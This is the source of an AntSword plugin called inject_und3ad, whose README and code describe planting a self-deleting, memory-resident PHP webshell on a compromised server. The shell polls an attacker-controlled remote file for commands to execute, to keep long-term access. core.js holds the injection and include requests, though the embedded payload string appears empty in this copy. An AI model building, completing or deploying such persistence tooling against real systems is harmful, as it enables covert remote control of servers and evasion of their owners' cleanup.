├── db
└── rm_shell.txt
├── img
└── inject_undead_webshell.png
├── index.js
├── language
├── index.js
├── zh.js
└── en.js
├── package.json
├── README.md
└── libs
├── core.js
└── ui.js
/db/rm_shell.txt:
--------------------------------------------------------------------------------
1 | welcome : control_file.db
2 |
3 |
--------------------------------------------------------------------------------
/img/inject_undead_webshell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ph4ntonn/inject_und3ad/HEAD/img/inject_undead_webshell.png
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 |
2 | const UI = require('./libs/ui');
3 | const Core = require('./libs/core');
4 |
5 | class Plugin {
6 | constructor(opt) {
7 | new UI(opt)
8 | .onInject((argv) => {
9 | return new Core(opt,argv);
10 | });
11 | }
12 | }
13 |
14 | module.exports = Plugin;
15 |
--------------------------------------------------------------------------------
/language/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const languages = {
4 | 'en': 'English',
5 | 'zh': '简体中文'
6 | }
7 |
8 | // 获取本地设置语言(如若没有,则获取浏览器语言
9 | let lang = antSword['storage']('language',
10 | false,
11 | navigator.language.substr(0,2)
12 | );
13 |
14 | // 判断本地设置语言是否符合语言模板
15 | lang = languages[lang] ? lang : 'en';
16 |
17 | // 返回语言模板
18 | let langModule = require(`./${lang}`);
19 | langModule.__languages__ = languages;
20 |
21 | module.exports = langModule;
22 |
--------------------------------------------------------------------------------
/language/zh.js:
--------------------------------------------------------------------------------
1 | /**
2 | * zh_CN
3 | */
4 |
5 | module.exports = {
6 | title: "植入不死php webshell",
7 | toolbar: {
8 | new: "远端文件"
9 | },
10 | message: {
11 | inject_success: "植入成功,远程控制文件已被记录!"
12 | },
13 | prompt: {
14 | rm_file: "请输入远端控制文件地址及轮询时间(以###分隔)"
15 | },
16 | cell:{
17 | path:"历史远端控制文件"
18 | },
19 | error:{
20 | wrong:"植入失败",
21 | value_wrong:"输入非法,请输入有效的轮询时间或检查分隔符是否为\'###\'!"
22 | }
23 |
24 | };
25 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "注入不死php webshell",
3 | "name_en": "Inject undead php webshell",
4 | "main": "index.js",
5 | "icon": "eye",
6 | "version": "0.1",
7 | "description": "在目标服务器植入不死php木马以获得长期权限",
8 | "description_en": "Inject the undead php webshell into target server to access long-term control ",
9 | "author": {
10 | "name": "ph4ntom",
11 | "email": "ph4ntom11235@gmail.com"
12 | },
13 | "category": "维持权限",
14 | "category_en": "Maintain the access",
15 | "multiple": false,
16 | "scripts": ["php"]
17 | }
--------------------------------------------------------------------------------
/language/en.js:
--------------------------------------------------------------------------------
1 | /**
2 | * en_US
3 | */
4 |
5 | module.exports = {
6 | title: "Inject the undead php webshell",
7 | toolbar: {
8 | new: "New remote control file"
9 | },
10 | message: {
11 | inject_success: "Successfully inject! The address of remote control file has been recorded!"
12 | },
13 | prompt: {
14 | rm_file: "Please enter the remote control file address and timeout's value(spilted by ###)"
15 | },
16 | cell:{
17 | path:"Remote control file history"
18 | },
19 | error:{
20 | wrong:"Injection fail!",
21 | value_wrong:"Illegal input ! Please check your input!"
22 | }
23 |
24 | };
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # inject_und3ad
2 |
3 | 中国蚁剑(Antsword)插件
4 |
5 | 向目标服务器植入不死php webshell
6 |
7 | ## 演示
8 |
9 | * 权限维持
10 |
11 | 
12 |
13 | 点击左上角远程文件按钮,输入远程控制文件地址以及轮询时间(以秒为单位),点击确定即可(分隔符为###)
14 |
15 | For example : http://192.168.134.128/1.txt###60 每60秒轮询一次http://192.168.134.128/1.txt里的内容
16 |
17 | 文件内容类似于 `file_put_contents('./1.php','')`; (密码可自定义,路径也可自定义,此文件内容旨在每隔一段时间写入一个小马)
18 |
19 | 上述旨在利用php特性植入不死webshell,在执行完成后,此webshell会基于用户设置的轮询时间向用户设置的远程文件地址发送请求,用户只需在远程地址的txt文档中输入想要执行的命令即可
20 | 可。
21 |
22 | 此webshell在执行后会自身删除,驻留内存之中,无文件残留
23 |
24 | 清除办法包括重启web服务等
25 |
26 | 用户在植入不死webshell后,远程控制文件地址将会被记录,在第二次打开此界面时会在下方"历史远端控制文件"中看见
27 |
28 | ## 注意事项
29 |
30 | 此插件仅支持php环境
31 |
32 | 在远程文件上如果不打算执行命令,请在远程文件中写入一个空格,否则此webshell会退出。
33 |
34 | 使用者不得用于非法用途
35 |
36 | ## Todo
37 |
38 | 若发现问题,请与我联系并改进~
39 |
40 |
41 |
--------------------------------------------------------------------------------
/libs/core.js:
--------------------------------------------------------------------------------
1 | /**
2 | * 核心模块
3 | */
4 | const fs = require('fs');
5 |
6 | class Core {
7 | constructor(opt, argv) {
8 | let self = this;
9 | return new Promise((res, rej) => {
10 | let core = new antSword['core'][opt['type']](opt);
11 | switch (argv.type) {
12 | case "rm_file":
13 | this._save_remote_address(argv.rm_file, argv.shell);
14 | var rm_file = argv.rm_file.toString().split("###")[0];
15 | var timeout = argv.rm_file.toString().split("###")[1];
16 | var patt = /^\d+$/;
17 | var result = patt.test(timeout);
18 | if (result) {} else {
19 | return rej("Unexpected value");
20 | }
21 | core.request({
22 | _: this._inject_und3ad(rm_file, timeout)
23 | }).then(res)
24 | .catch((err) => {
25 | return rej(err);
26 | });
27 | core.request({
28 | _: this._execute_und3ad()
29 | }).then(res)
30 | .catch((err) => {
31 | return rej(err);
32 | });
33 | break;
34 | }
35 | })
36 | }
37 |
38 |
39 | //保存远程控制文件地址
40 | _save_remote_address(address, shell) {
41 | var address = address.split("###")[0];
42 | var file_name = path.join(__dirname, '../db/rm_shell.txt');
43 | fs.appendFile(file_name, shell + " : " + address + "\n", 'utf-8', function (error) {
44 | if (error) {
45 | console.log('Fail to record!')
46 | } else {
47 | console.log('Record successfully!')
48 | }
49 | })
50 | }
51 |
52 | //注入不死webshell
53 | _inject_und3ad(rm_file, timeout) {
54 |
55 | return `
56 | function Injector(){$myfile = fopen("just4fun.php", "w");$txt = '';fwrite($myfile, $txt);};Injector();
57 | `;
58 |
59 | }
60 |
61 | //执行不死webshell
62 | _execute_und3ad() {
63 | return `
64 | include("just4fun.php");
65 | `;
66 | }
67 |
68 | }
69 |
70 | module.exports = Core;
71 |
--------------------------------------------------------------------------------
/libs/ui.js:
--------------------------------------------------------------------------------
1 | /**
2 | * UI
3 | */
4 |
5 | const WIN = require('ui/window');
6 | const LANG = require('../language/');
7 | const LANG_T = antSword["language"]['toastr'];
8 | const fs = require('fs');
9 | const readline = require('readline');
10 |
11 | class UI {
12 | constructor(opt) {
13 | // 创建窗口
14 | this.opt = opt;
15 | this.win = new WIN({
16 | title: `${LANG['title']}----- ${opt['url']}`,
17 | width: 666,
18 | height: 200,
19 | });
20 | this.createMainLayout();
21 | return {
22 | onInject: (func) => {
23 | this.bindToolbarClickHandler(func);
24 | },
25 | onAbout: () => {}
26 | }
27 | }
28 |
29 | /**
30 | * 创建界面
31 | */
32 | createMainLayout() {
33 |
34 | //检查远端控制文件
35 | let griddata = [];
36 | const rl = readline.createInterface({
37 | input: fs.createReadStream(path.join(__dirname, '../db/rm_shell.txt'))
38 | });
39 | rl.on('line', (line) => {
40 | if (line.split(" : ")[0] == this.opt['url']) {
41 | var item = antSword.noxss(line.split(" : ")[1]);
42 | griddata.push({
43 | data: item.split('\t')
44 | });
45 | this.grid.clearAll();
46 | this.grid.parse({
47 | rows: griddata
48 | }, "json");
49 | }
50 | });
51 |
52 | //创建主界面其余元素
53 | let layout = this.win.win.attachLayout('1C');
54 | layout.cells('a').setText(` ${LANG['cell']['path']}`);
55 | this.createToolbar();
56 | this.createGrid(layout.cells('a'));
57 | this.layout = layout;
58 |
59 | }
60 |
61 | //创建grid
62 | createGrid(cell) {
63 | let grid = cell.attachGrid();
64 | grid.setHeader(`
65 | ${LANG['cell']['path']}
66 | `);
67 | grid.setNoHeader(true);
68 | grid.setColTypes("ro");
69 | grid.setColSorting('str');
70 | grid.setInitWidths("666");
71 | grid.setColAlign("left");
72 | grid.enableMultiselect(true);
73 | grid.enableBlockSelection(true);
74 | grid.init();
75 |
76 | this.grid = grid;
77 | }
78 |
79 |
80 | /**
81 | * 工具栏
82 | */
83 | createToolbar() {
84 | let toolbar = this.win.win.attachToolbar();
85 | toolbar.loadStruct([{
86 | id: 'new',
87 | type: 'button',
88 | text: LANG['toolbar']['new'],
89 | icon: 'plus-circle'
90 | }]);
91 | this.toolbar = toolbar;
92 | }
93 |
94 | /**
95 | * 监听按钮点击事件
96 | * @param {Function} callback [description]
97 | * @return {[type]} [description]
98 | */
99 | bindToolbarClickHandler(callback) {
100 | let self = this;
101 | this.toolbar.attachEvent('onClick', (id) => {
102 | switch (id) {
103 | case "new":
104 | layer.prompt({
105 | value: "",
106 | title: ` ${LANG["prompt"]["rm_file"]}`
107 | }, (value, i, e) => {
108 | layer.close(i);
109 | this.win.win.progressOn();
110 | callback({
111 | type: "rm_file",
112 | rm_file: value,
113 | shell: this.opt['url'],
114 | }).then((result) => {
115 | if (result) {
116 | this.win.win.progressOff();
117 | toastr.success(LANG["message"]["inject_success"], LANG_T['success']);
118 | }
119 | }).catch((err) => {
120 | if (err == "Unexpected value") {
121 | toastr.error(LANG['error']['value_wrong'], antSword['language']['toastr']['error']);
122 | } else {
123 | toastr.error(LANG['error']['wrong'], antSword['language']['toastr']['error']);
124 | }
125 | this.win.win.progressOff();
126 | })
127 | });
128 | break
129 | }
130 | });
131 | }
132 |
133 | }
134 |
135 | module.exports = UI;
--------------------------------------------------------------------------------